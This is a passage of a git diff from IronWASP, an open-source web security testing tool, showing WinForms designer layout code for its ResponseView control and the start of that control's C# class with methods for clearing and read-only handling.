this.StatusAndErrorTB.Location = new System.Drawing.Point(59, 3); + this.StatusAndErrorTB.Name = "StatusAndErrorTB"; + this.StatusAndErrorTB.ReadOnly = true; + this.StatusAndErrorTB.Size = new System.Drawing.Size(421, 13); + this.StatusAndErrorTB.TabIndex = 7; + this.StatusAndErrorTB.Visible = false; + // + // WaitProgressBar + // + this.WaitProgressBar.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.WaitProgressBar.Location = new System.Drawing.Point(490, 3); + this.WaitProgressBar.MarqueeAnimationSpeed = 10; + this.WaitProgressBar.Name = "WaitProgressBar"; + this.WaitProgressBar.Size = new System.Drawing.Size(114, 13); + this.WaitProgressBar.Style = System.Windows.Forms.ProgressBarStyle.Marquee; + this.WaitProgressBar.TabIndex = 6; + this.WaitProgressBar.Visible = false; + // + // BaseTabs + // + this.BaseTabs.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.BaseTabs.Controls.Add(this.HeadersTab); + this.BaseTabs.Controls.Add(this.BodyTab); + this.BaseTabs.Controls.Add(this.BodyParametersTab); + this.BaseTabs.Controls.Add(this.ReflectionsTab); + this.BaseTabs.Controls.Add(this.HelpTab); + this.BaseTabs.Controls.Add(this.EditingTab); + this.BaseTabs.Location = new System.Drawing.Point(0, 20); + this.BaseTabs.Margin = new System.Windows.Forms.Padding(0); + this.BaseTabs.Name = "BaseTabs"; + this.BaseTabs.Padding = new System.Drawing.Point(0, 0); + this.BaseTabs.SelectedIndex = 0; + this.BaseTabs.Size = new System.Drawing.Size(682, 161); + this.BaseTabs.TabIndex = 5; + this.BaseTabs.Selecting += new System.Windows.Forms.TabControlCancelEventHandler(this.BaseTabs_Selecting); + this.BaseTabs.Deselecting += new System.Windows.Forms.TabControlCancelEventHandler(this.BaseTabs_Deselecting); + // + // HeadersTab + // + this.HeadersTab.Controls.Add(this.HeadersTBP); + this.HeadersTab.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.HeadersTab.Location = new System.Drawing.Point(4, 22); + this.HeadersTab.Margin = new System.Windows.Forms.Padding(0); + this.HeadersTab.Name = "HeadersTab"; + this.HeadersTab.Size = new System.Drawing.Size(674, 135); + this.HeadersTab.TabIndex = 0; + this.HeadersTab.Text = " Raw Headers "; + this.HeadersTab.UseVisualStyleBackColor = true; + // + // BodyTab + // + this.BodyTab.Controls.Add(this.BodyAddLL); + this.BodyTab.Controls.Add(this.BodyEmptyLbl); + this.BodyTab.Controls.Add(this.BodyTBP); + this.BodyTab.Location = new System.Drawing.Point(4, 22); + this.BodyTab.Name = "BodyTab"; + this.BodyTab.Size = new System.Drawing.Size(674, 135); + this.BodyTab.TabIndex = 3; + this.BodyTab.Text = " Raw Body "; + this.BodyTab.UseVisualStyleBackColor = true; + // + // BodyAddLL + // + this.BodyAddLL.AutoSize = true; + this.BodyAddLL.Font = new System.Drawing.Font("Microsoft Sans Serif", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.BodyAddLL.Location = new System.Drawing.Point(331, 16); + this.BodyAddLL.Name = "BodyAddLL"; + this.BodyAddLL.Size = new System.Drawing.Size(289, 20); + this.BodyAddLL.TabIndex = 4; + this.BodyAddLL.TabStop = true; + this.BodyAddLL.Text = "Click here to add body to this Response"; + this.BodyAddLL.Visible = false; + this.BodyAddLL.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.BodyAddLL_LinkClicked); + // + // BodyEmptyLbl + // + this.BodyEmptyLbl.AutoSize = true; + this.BodyEmptyLbl.Font = new System.Drawing.Font("Microsoft Sans Serif", 14.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.BodyEmptyLbl.ForeColor = System.Drawing.Color.Blue; + this.BodyEmptyLbl.Location = new System.Drawing.Point(9, 12); + this.BodyEmptyLbl.Name = "BodyEmptyLbl"; + this.BodyEmptyLbl.Size = new System.Drawing.Size(290, 24); + this.BodyEmptyLbl.TabIndex = 3; + this.BodyEmptyLbl.Text = "This Request has an empty body."; + this.BodyEmptyLbl.Visible = false; + // + // BodyParametersTab + // + this.BodyParametersTab.Controls.Add(this.BodyParamEmptyLbl); + this.BodyParametersTab.Controls.Add(this.BodyParametersTabSplit); + this.BodyParametersTab.Location = new System.Drawing.Point(4, 22); + this.BodyParametersTab.Name = "BodyParametersTab"; + this.BodyParametersTab.Size = new System.Drawing.Size(674, 135); + this.BodyParametersTab.TabIndex = 4; + this.BodyParametersTab.Text = " Body Parameters "; + this.BodyParametersTab.UseVisualStyleBackColor = true; + // + // BodyParamEmptyLbl + // + this.BodyParamEmptyLbl.AutoSize = true; + this.BodyParamEmptyLbl.Font = new System.Drawing.Font("Microsoft Sans Serif", 14.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.BodyParamEmptyLbl.ForeColor = System.Drawing.Color.Blue; + this.BodyParamEmptyLbl.Location = new System.Drawing.Point(3, 26); + this.BodyParamEmptyLbl.Name = "BodyParamEmptyLbl"; + this.BodyParamEmptyLbl.Size = new System.Drawing.Size(447, 24); + this.BodyParamEmptyLbl.TabIndex = 12; + this.BodyParamEmptyLbl.Text = "This Request does not contain any Body parameters"; + this.BodyParamEmptyLbl.Visible = false; + // + // BodyParametersTabSplit + // + this.BodyParametersTabSplit.Dock = System.Windows.Forms.DockStyle.Fill; + this.BodyParametersTabSplit.Location = new System.Drawing.Point(0, 0); + this.BodyParametersTabSplit.Margin = new System.Windows.Forms.Padding(0); + this.BodyParametersTabSplit.Name = "BodyParametersTabSplit"; + // + // BodyParametersTabSplit.Panel1 + // + this.BodyParametersTabSplit.Panel1.Controls.Add(this.FormatPluginsGrid); + // + // BodyParametersTabSplit.Panel2 + // + this.BodyParametersTabSplit.Panel2.Controls.Add(this.ScanBodyFormatPluginTypeTabs); + this.BodyParametersTabSplit.Size = new System.Drawing.Size(674, 135); + this.BodyParametersTabSplit.SplitterDistance = 98; + this.BodyParametersTabSplit.SplitterWidth = 2; + this.BodyParametersTabSplit.TabIndex = 0; + // + // FormatPluginsGrid + // + this.FormatPluginsGrid.AllowUserToAddRows = false; + this.FormatPluginsGrid.AllowUserToDeleteRows = false; + this.FormatPluginsGrid.AllowUserToResizeRows = false; + this.FormatPluginsGrid.BackgroundColor = System.Drawing.Color.White; + this.FormatPluginsGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.FormatPluginsGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.FormatPluginsGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.FormatPluginSelectColumn, + this.FormatPluginNameColumn}); + this.FormatPluginsGrid.Dock = System.Windows.Forms.DockStyle.Fill; + this.FormatPluginsGrid.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; + this.FormatPluginsGrid.GridColor = System.Drawing.Color.White; + this.FormatPluginsGrid.Location = new System.Drawing.Point(0, 0); + this.FormatPluginsGrid.Margin = new System.Windows.Forms.Padding(0); + this.FormatPluginsGrid.MultiSelect = false; + this.FormatPluginsGrid.Name = "FormatPluginsGrid"; + this.FormatPluginsGrid.RowHeadersVisible = false; + this.FormatPluginsGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; + this.FormatPluginsGrid.Size = new System.Drawing.Size(98, 135); + this.FormatPluginsGrid.TabIndex = 0; + this.FormatPluginsGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.FormatPluginsGrid_CellClick); + // + // FormatPluginSelectColumn + // + this.FormatPluginSelectColumn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.FormatPluginSelectColumn.HeaderText = ""; + this.FormatPluginSelectColumn.MinimumWidth = 20; + this.FormatPluginSelectColumn.Name = "FormatPluginSelectColumn"; + this.FormatPluginSelectColumn.Width = 20; + // + // FormatPluginNameColumn + // + this.FormatPluginNameColumn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.FormatPluginNameColumn.HeaderText = "Body Format"; + this.FormatPluginNameColumn.Name = "FormatPluginNameColumn"; + this.FormatPluginNameColumn.ReadOnly = true; + this.FormatPluginNameColumn.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; + // + // ScanBodyFormatPluginTypeTabs + // + this.ScanBodyFormatPluginTypeTabs.Controls.Add(this.BodyTypeFormatPluginInjectionArrayGridTab); + this.ScanBodyFormatPluginTypeTabs.Controls.Add(this.BodyTypeFormatPluginXMLTab); + this.ScanBodyFormatPluginTypeTabs.Dock = System.Windows.Forms.DockStyle.Fill; + this.ScanBodyFormatPluginTypeTabs.Location = new System.Drawing.Point(0, 0); + this.ScanBodyFormatPluginTypeTabs.Margin = new System.Windows.Forms.Padding(0); + this.ScanBodyFormatPluginTypeTabs.Multiline = true; + this.ScanBodyFormatPluginTypeTabs.Name = "ScanBodyFormatPluginTypeTabs"; + this.ScanBodyFormatPluginTypeTabs.Padding = new System.Drawing.Point(0, 0); + this.ScanBodyFormatPluginTypeTabs.SelectedIndex = 0; + this.ScanBodyFormatPluginTypeTabs.Size = new System.Drawing.Size(574, 135); + this.ScanBodyFormatPluginTypeTabs.TabIndex = 0; + // + // BodyTypeFormatPluginInjectionArrayGridTab + // + this.BodyTypeFormatPluginInjectionArrayGridTab.Controls.Add(this.BodyFormatPluginsParametersGrid); + this.BodyTypeFormatPluginInjectionArrayGridTab.Location = new System.Drawing.Point(4, 22); + this.BodyTypeFormatPluginInjectionArrayGridTab.Margin = new System.Windows.Forms.Padding(0); + this.BodyTypeFormatPluginInjectionArrayGridTab.Name = "BodyTypeFormatPluginInjectionArrayGridTab"; + this.BodyTypeFormatPluginInjectionArrayGridTab.Size = new System.Drawing.Size(566, 109); + this.BodyTypeFormatPluginInjectionArrayGridTab.TabIndex = 0; + this.BodyTypeFormatPluginInjectionArrayGridTab.Text = " Name/Value "; + this.BodyTypeFormatPluginInjectionArrayGridTab.UseVisualStyleBackColor = true; + // + // BodyFormatPluginsParametersGrid + // + this.BodyFormatPluginsParametersGrid.AllowUserToAddRows = false; + this.BodyFormatPluginsParametersGrid.AllowUserToDeleteRows = false; + this.BodyFormatPluginsParametersGrid.AllowUserToResizeRows = false; + this.BodyFormatPluginsParametersGrid.BackgroundColor = System.Drawing.Color.White; + this.BodyFormatPluginsParametersGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.BodyFormatPluginsParametersGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.BodyFormatPluginsParametersGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.dataGridViewTextBoxColumn3, + this.dataGridViewTextBoxColumn4, + this.Column1, + this.Column2}); + this.BodyFormatPluginsParametersGrid.Dock = System.Windows.Forms.DockStyle.Fill; + this.BodyFormatPluginsParametersGrid.GridColor = System.Drawing.Color.White; + this.BodyFormatPluginsParametersGrid.Location = new System.Drawing.Point(0, 0); + this.BodyFormatPluginsParametersGrid.Margin = new System.Windows.Forms.Padding(0); + this.BodyFormatPluginsParametersGrid.Name = "BodyFormatPluginsParametersGrid"; + this.BodyFormatPluginsParametersGrid.RowHeadersVisible = false; + this.BodyFormatPluginsParametersGrid.Size = new System.Drawing.Size(566, 109); + this.BodyFormatPluginsParametersGrid.TabIndex = 2; + this.BodyFormatPluginsParametersGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.BodyFormatPluginsParametersGrid_CellClick); + this.BodyFormatPluginsParametersGrid.CellValueChanged += new System.Windows.Forms.DataGridViewCellEventHandler(this.BodyFormatPluginsParametersGrid_CellValueChanged); + // + // dataGridViewTextBoxColumn3 + // + this.dataGridViewTextBoxColumn3.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.dataGridViewTextBoxColumn3.HeaderText = "NAME"; + this.dataGridViewTextBoxColumn3.Name = "dataGridViewTextBoxColumn3"; + this.dataGridViewTextBoxColumn3.ReadOnly = true; + // + // dataGridViewTextBoxColumn4 + // + this.dataGridViewTextBoxColumn4.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.dataGridViewTextBoxColumn4.HeaderText = "VALUE"; + this.dataGridViewTextBoxColumn4.Name = "dataGridViewTextBoxColumn4"; + // + // Column1 + // + this.Column1.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.Column1.HeaderText = ""; + this.Column1.MinimumWidth = 20; + this.Column1.Name = "Column1"; + this.Column1.Width = 20; + // + // Column2 + // + this.Column2.HeaderText = "EncodedValue"; + this.Column2.Name = "Column2"; + this.Column2.Visible = false; + // + // BodyTypeFormatPluginXMLTab + // + this.BodyTypeFormatPluginXMLTab.Controls.Add(this.FormatXmlBaseSplit); + this.BodyTypeFormatPluginXMLTab.Location = new System.Drawing.Point(4, 40); + this.BodyTypeFormatPluginXMLTab.Margin = new System.Windows.Forms.Padding(0); + this.BodyTypeFormatPluginXMLTab.Name = "BodyTypeFormatPluginXMLTab"; + this.BodyTypeFormatPluginXMLTab.Size = new System.Drawing.Size(155, 30); + this.BodyTypeFormatPluginXMLTab.TabIndex = 1; + this.BodyTypeFormatPluginXMLTab.Text = " Format Plugin XML (For Format Plugin Developers) "; + this.BodyTypeFormatPluginXMLTab.UseVisualStyleBackColor = true; + // + // FormatXmlBaseSplit + // + this.FormatXmlBaseSplit.Dock = System.Windows.Forms.DockStyle.Fill; + this.FormatXmlBaseSplit.Location = new System.Drawing.Point(0, 0); + this.FormatXmlBaseSplit.Margin = new System.Windows.Forms.Padding(0); + this.FormatXmlBaseSplit.Name = "FormatXmlBaseSplit"; + // + // FormatXmlBaseSplit.Panel1 + // + this.FormatXmlBaseSplit.Panel1.Controls.Add(this.textBox2); + this.FormatXmlBaseSplit.Panel1.Controls.Add(this.ConvertXmlToObjectBtn); + // + // FormatXmlBaseSplit.Panel2 + // + this.FormatXmlBaseSplit.Panel2.Controls.Add(this.FormatXmlTBP); + this.FormatXmlBaseSplit.Size = new System.Drawing.Size(155, 30); + this.FormatXmlBaseSplit.SplitterDistance = 27; + this.FormatXmlBaseSplit.SplitterWidth = 2; + this.FormatXmlBaseSplit.TabIndex = 5; + // + // textBox2 + // + this.textBox2.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.textBox2.Dock = System.Windows.Forms.DockStyle.Bottom; + this.textBox2.Location = new System.Drawing.Point(0, -38); + this.textBox2.Multiline = true; + this.textBox2.Name = "textBox2"; + this.textBox2.Size = new System.Drawing.Size(27, 68); + this.textBox2.TabIndex = 5; + this.textBox2.TabStop = false; + this.textBox2.Text = "You can edit this XML & update the changes to the Response body by clicking the a" + + "bove button"; + // + // ConvertXmlToObjectBtn + // + this.ConvertXmlToObjectBtn.Dock = System.Windows.Forms.DockStyle.Top; + this.ConvertXmlToObjectBtn.Location = new System.Drawing.Point(0, 0); + this.ConvertXmlToObjectBtn.Name = "ConvertXmlToObjectBtn"; + this.ConvertXmlToObjectBtn.Size = new System.Drawing.Size(27, 38); + this.ConvertXmlToObjectBtn.TabIndex = 3; + this.ConvertXmlToObjectBtn.Text = "Convert this XML to object"; + this.ConvertXmlToObjectBtn.UseVisualStyleBackColor = true; + this.ConvertXmlToObjectBtn.Click += new System.EventHandler(this.ConvertXmlToObjectBtn_Click); + // + // ReflectionsTab + // + this.ReflectionsTab.Controls.Add(this.ReflectionRTB); + this.ReflectionsTab.Location = new System.Drawing.Point(4, 22); + this.ReflectionsTab.Name = "ReflectionsTab"; + this.ReflectionsTab.Size = new System.Drawing.Size(674, 135); + this.ReflectionsTab.TabIndex = 5; + this.ReflectionsTab.Text = " Reflections "; + this.ReflectionsTab.UseVisualStyleBackColor = true; + // + // ReflectionRTB + // + this.ReflectionRTB.BackColor = System.Drawing.Color.White; + this.ReflectionRTB.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.ReflectionRTB.DetectUrls = false; + this.ReflectionRTB.Dock = System.Windows.Forms.DockStyle.Fill; + this.ReflectionRTB.Font = new System.Drawing.Font("Lucida Bright", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.ReflectionRTB.Location = new System.Drawing.Point(0, 0); + this.ReflectionRTB.Name = "ReflectionRTB"; + this.ReflectionRTB.ReadOnly = true; + this.ReflectionRTB.Size = new System.Drawing.Size(674, 135); + this.ReflectionRTB.TabIndex = 1; + this.ReflectionRTB.Text = ""; + // + // HelpTab + // + this.HelpTab.Controls.Add(this.HelpTB); + this.HelpTab.Location = new System.Drawing.Point(4, 22); + this.HelpTab.Name = "HelpTab"; + this.HelpTab.Size = new System.Drawing.Size(674, 135); + this.HelpTab.TabIndex = 6; + this.HelpTab.Text = " Help "; + this.HelpTab.UseVisualStyleBackColor = true; + // + // HelpTB + // + this.HelpTB.BackColor = System.Drawing.Color.White; + this.HelpTB.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.HelpTB.Dock = System.Windows.Forms.DockStyle.Fill; + this.HelpTB.Location = new System.Drawing.Point(0, 0); + this.HelpTB.Multiline = true; + this.HelpTB.Name = "HelpTB"; + this.HelpTB.ReadOnly = true; + this.HelpTB.ScrollBars = System.Windows.Forms.ScrollBars.Vertical; + this.HelpTB.Size = new System.Drawing.Size(674, 135); + this.HelpTB.TabIndex = 1; + this.HelpTB.TabStop = false; + this.HelpTB.Text = resources.GetString("HelpTB.Text"); + // + // EditingTab + // + this.EditingTab.Controls.Add(this.SaveEditsLbl); + this.EditingTab.Controls.Add(this.EditTBP); + this.EditingTab.Location = new System.Drawing.Point(4, 22); + this.EditingTab.Name = "EditingTab"; + this.EditingTab.Size = new System.Drawing.Size(674, 135); + this.EditingTab.TabIndex = 7; + this.EditingTab.Text = " "; + this.EditingTab.UseVisualStyleBackColor = true; + // + // SaveEditsLbl + // + this.SaveEditsLbl.AutoSize = true; + this.SaveEditsLbl.Location = new System.Drawing.Point(3, 2); + this.SaveEditsLbl.Name = "SaveEditsLbl"; + this.SaveEditsLbl.Size = new System.Drawing.Size(77, 13); + this.SaveEditsLbl.TabIndex = 12; + this.SaveEditsLbl.TabStop = true; + this.SaveEditsLbl.Text = "Save Changes"; + this.SaveEditsLbl.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.SaveEditsLbl_LinkClicked); + // + // RenderLbl + // + this.RenderLbl.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.RenderLbl.AutoSize = true; + this.RenderLbl.Location = new System.Drawing.Point(607, 2); + this.RenderLbl.Name = "RenderLbl"; + this.RenderLbl.Size = new System.Drawing.Size(42, 13); + this.RenderLbl.TabIndex = 8; + this.RenderLbl.TabStop = true; + this.RenderLbl.Text = "Render"; + this.RenderLbl.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.RenderLbl_LinkClicked); + // + // RoundTripLbl + // + this.RoundTripLbl.AutoSize = true; + this.RoundTripLbl.ForeColor = System.Drawing.Color.Blue; + this.RoundTripLbl.Location = new System.Drawing.Point(3, 3); + this.RoundTripLbl.Name = "RoundTripLbl"; + this.RoundTripLbl.Size = new System.Drawing.Size(0, 13); + this.RoundTripLbl.TabIndex = 9; + // + // ScreenshotBtn + // + this.ScreenshotBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.ScreenshotBtn.BackgroundImage = global::IronWASP.Properties.Resources.camera; + this.ScreenshotBtn.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Center; + this.ScreenshotBtn.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.ScreenshotBtn.Location = new System.Drawing.Point(652, 1); + this.ScreenshotBtn.Name = "ScreenshotBtn"; + this.ScreenshotBtn.Size = new System.Drawing.Size(29, 17); + this.ScreenshotBtn.TabIndex = 10; + this.ScreenshotBtn.UseVisualStyleBackColor = true; + this.ScreenshotBtn.Click += new System.EventHandler(this.ScreenshotBtn_Click); + // + // HeadersTBP + // + this.HeadersTBP.Dock = System.Windows.Forms.DockStyle.Fill; + this.HeadersTBP.Location = new System.Drawing.Point(0, 0); + this.HeadersTBP.Margin = new System.Windows.Forms.Padding(0); + this.HeadersTBP.Name = "HeadersTBP"; + this.HeadersTBP.ReadOnly = false; + this.HeadersTBP.Size = new System.Drawing.Size(674, 135); + this.HeadersTBP.TabIndex = 0; + this.HeadersTBP.ValueChanged += new IronWASP.TextBoxPlus.ValueChangedEvent(this.HeadersTBP_ValueChanged); + // + // BodyTBP + // + this.BodyTBP.Dock = System.Windows.Forms.DockStyle.Fill; + this.BodyTBP.Location = new System.Drawing.Point(0, 0); + this.BodyTBP.Margin = new System.Windows.Forms.Padding(0); + this.BodyTBP.Name = "BodyTBP"; + this.BodyTBP.ReadOnly = false; + this.BodyTBP.Size = new System.Drawing.Size(674, 135); + this.BodyTBP.TabIndex = 0; + this.BodyTBP.ValueChanged += new IronWASP.TextBoxPlus.ValueChangedEvent(this.BodyTBP_ValueChanged); + // + // FormatXmlTBP + // + this.FormatXmlTBP.Dock = System.Windows.Forms.DockStyle.Fill; + this.FormatXmlTBP.Location = new System.Drawing.Point(0, 0); + this.FormatXmlTBP.Name = "FormatXmlTBP"; + this.FormatXmlTBP.ReadOnly = false; + this.FormatXmlTBP.Size = new System.Drawing.Size(126, 30); + this.FormatXmlTBP.TabIndex = 4; + this.FormatXmlTBP.ValueChanged += new IronWASP.TextBoxPlus.ValueChangedEvent(this.FormatXmlTBP_ValueChanged); + // + // EditTBP + // + this.EditTBP.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.EditTBP.Location = new System.Drawing.Point(0, 16); + this.EditTBP.Margin = new System.Windows.Forms.Padding(0); + this.EditTBP.Name = "EditTBP"; + this.EditTBP.ReadOnly = false; + this.EditTBP.Size = new System.Drawing.Size(674, 119); + this.EditTBP.TabIndex = 11; + // + // ResponseView + // + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.None; + this.BackColor = System.Drawing.Color.White; + this.Controls.Add(this.ScreenshotBtn); + this.Controls.Add(this.RoundTripLbl); + this.Controls.Add(this.RenderLbl); + this.Controls.Add(this.StatusAndErrorTB); + this.Controls.Add(this.WaitProgressBar); + this.Controls.Add(this.BaseTabs); + this.Name = "ResponseView"; + this.Size = new System.Drawing.Size(682, 181); + this.Load += new System.EventHandler(this.ResponseView_Load); + this.BaseTabs.ResumeLayout(false); + this.HeadersTab.ResumeLayout(false); + this.BodyTab.ResumeLayout(false); + this.BodyTab.PerformLayout(); + this.BodyParametersTab.ResumeLayout(false); + this.BodyParametersTab.PerformLayout(); + this.BodyParametersTabSplit.Panel1.ResumeLayout(false); + this.BodyParametersTabSplit.Panel2.ResumeLayout(false); + this.BodyParametersTabSplit.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.FormatPluginsGrid)).EndInit(); + this.ScanBodyFormatPluginTypeTabs.ResumeLayout(false); + this.BodyTypeFormatPluginInjectionArrayGridTab.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.BodyFormatPluginsParametersGrid)).EndInit(); + this.BodyTypeFormatPluginXMLTab.ResumeLayout(false); + this.FormatXmlBaseSplit.Panel1.ResumeLayout(false); + this.FormatXmlBaseSplit.Panel1.PerformLayout(); + this.FormatXmlBaseSplit.Panel2.ResumeLayout(false); + this.FormatXmlBaseSplit.ResumeLayout(false); + this.ReflectionsTab.ResumeLayout(false); + this.HelpTab.ResumeLayout(false); + this.HelpTab.PerformLayout(); + this.EditingTab.ResumeLayout(false); + this.EditingTab.PerformLayout(); + this.ResumeLayout(false); + this.PerformLayout(); + + } + + #endregion + + private System.Windows.Forms.TextBox StatusAndErrorTB; + private System.Windows.Forms.ProgressBar WaitProgressBar; + private System.Windows.Forms.TabControl BaseTabs; + private System.Windows.Forms.TabPage HeadersTab; + private TextBoxPlus HeadersTBP; + private System.Windows.Forms.TabPage BodyTab; + private TextBoxPlus BodyTBP; + private System.Windows.Forms.TabPage BodyParametersTab; + private System.Windows.Forms.SplitContainer BodyParametersTabSplit; + internal System.Windows.Forms.DataGridView FormatPluginsGrid; + internal System.Windows.Forms.TabControl ScanBodyFormatPluginTypeTabs; + private System.Windows.Forms.TabPage BodyTypeFormatPluginInjectionArrayGridTab; + internal System.Windows.Forms.DataGridView BodyFormatPluginsParametersGrid; + private System.Windows.Forms.TabPage BodyTypeFormatPluginXMLTab; + private System.Windows.Forms.SplitContainer FormatXmlBaseSplit; + private System.Windows.Forms.TextBox textBox2; + private System.Windows.Forms.Button ConvertXmlToObjectBtn; + private TextBoxPlus FormatXmlTBP; + private System.Windows.Forms.TabPage ReflectionsTab; + internal System.Windows.Forms.RichTextBox ReflectionRTB; + private System.Windows.Forms.LinkLabel RenderLbl; + private System.Windows.Forms.TabPage HelpTab; + private System.Windows.Forms.TextBox HelpTB; + private System.Windows.Forms.Label RoundTripLbl; + private System.Windows.Forms.DataGridViewCheckBoxColumn FormatPluginSelectColumn; + private System.Windows.Forms.DataGridViewTextBoxColumn FormatPluginNameColumn; + private System.Windows.Forms.TabPage EditingTab; + private System.Windows.Forms.LinkLabel SaveEditsLbl; + private TextBoxPlus EditTBP; + private System.Windows.Forms.Button ScreenshotBtn; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn3; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn4; + private System.Windows.Forms.DataGridViewImageColumn Column1; + private System.Windows.Forms.DataGridViewTextBoxColumn Column2; + private System.Windows.Forms.LinkLabel BodyAddLL; + private System.Windows.Forms.Label BodyEmptyLbl; + private System.Windows.Forms.Label BodyParamEmptyLbl; + } +} diff --git a/IronWASP/ResponseView.cs b/Iron/ResponseView.cs similarity index 85% rename from IronWASP/ResponseView.cs rename to Iron/ResponseView.cs index 7e30eed..477a119 100644 --- a/IronWASP/ResponseView.cs +++ b/Iron/ResponseView.cs @@ -1,847 +1,962 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -using System; -using System.Collections.Generic; -using System.ComponentModel; -using System.Drawing; -using System.Data; -using System.Text; -using System.Windows.Forms; -using System.Threading; - -namespace IronWASP -{ - public partial class ResponseView : UserControl - { - public ResponseView() - { - InitializeComponent(); - } - - int ExpandedParameterIndex = 0; - - Request RequestOfDisplayedResponse; - Response DisplayedResponse; - - bool readOnly = false; - - bool HeadersChanged = false; - bool BodyChanged = false; - bool BodyTypeFormatPluginsParametersChanged = false; - bool BodyFormatXmlChanged = false; - - Thread FormatPluginCallingThread; - Thread ReflectionCheckingThread; - - string CurrentFormatXml = ""; - string[,] CurrentXmlNameValueArray = new string[,] { }; - - bool HasReflectionTab = true; - - public delegate void ResponseChangedEvent(); - - public event ResponseChangedEvent ResponseChanged; - - public bool IncludeReflectionTab - { - get - { - return HasReflectionTab; - } - set - { - if(HasReflectionTab) - { - if (!value) - HasReflectionTab = value; - } - } - } - - public bool ReadOnly - { - get - { - return readOnly; - } - set - { - SetReadOnly(value); - } - } - - delegate void SetReadOnly_d(bool ReadOnlyVal); - public void SetReadOnly(bool ReadOnlyVal) - { - if (this.BaseTabs.InvokeRequired) - { - SetReadOnly_d InvokeDelegate_d = new SetReadOnly_d(SetReadOnly); - this.BaseTabs.Invoke(InvokeDelegate_d, new object[] { ReadOnlyVal }); - } - else - { - this.readOnly = ReadOnlyVal; - HeadersTBP.ReadOnly = ReadOnlyVal; - BodyTBP.ReadOnly = ReadOnlyVal; - FormatXmlTBP.ReadOnly = ReadOnlyVal; - EditTBP.ReadOnly = ReadOnly; - SaveEditsLbl.Visible = !ReadOnly; - //Disable format plugins - //Make all parameters grid value fields read-only - foreach (DataGridViewRow Row in BodyFormatPluginsParametersGrid.Rows) - { - Row.Cells[1].ReadOnly = this.ReadOnly; - } - } - } - - public void ClearResponse() - { - this.DisplayedResponse = null; - this.ClearData(); - } - - delegate void ClearData_d(); - void ClearData() - { - if (this.BaseTabs.InvokeRequired) - { - ClearData_d InvokeDelegate_d = new ClearData_d(ClearData); - this.BaseTabs.Invoke(InvokeDelegate_d, new object[] { }); - } - else - { - RoundTripLbl.Text = ""; - HeadersTBP.ClearData(); - BodyTBP.ClearData(); - FormatXmlTBP.ClearData(); - ConvertXmlToObjectBtn.Text = "Convert this XML to Object"; - BodyFormatPluginsParametersGrid.Rows.Clear(); - ReflectionRTB.Text = ""; - ClearEditTab(); - foreach (DataGridViewRow Row in FormatPluginsGrid.Rows) - { - Row.Cells[0].Value = false; - } - 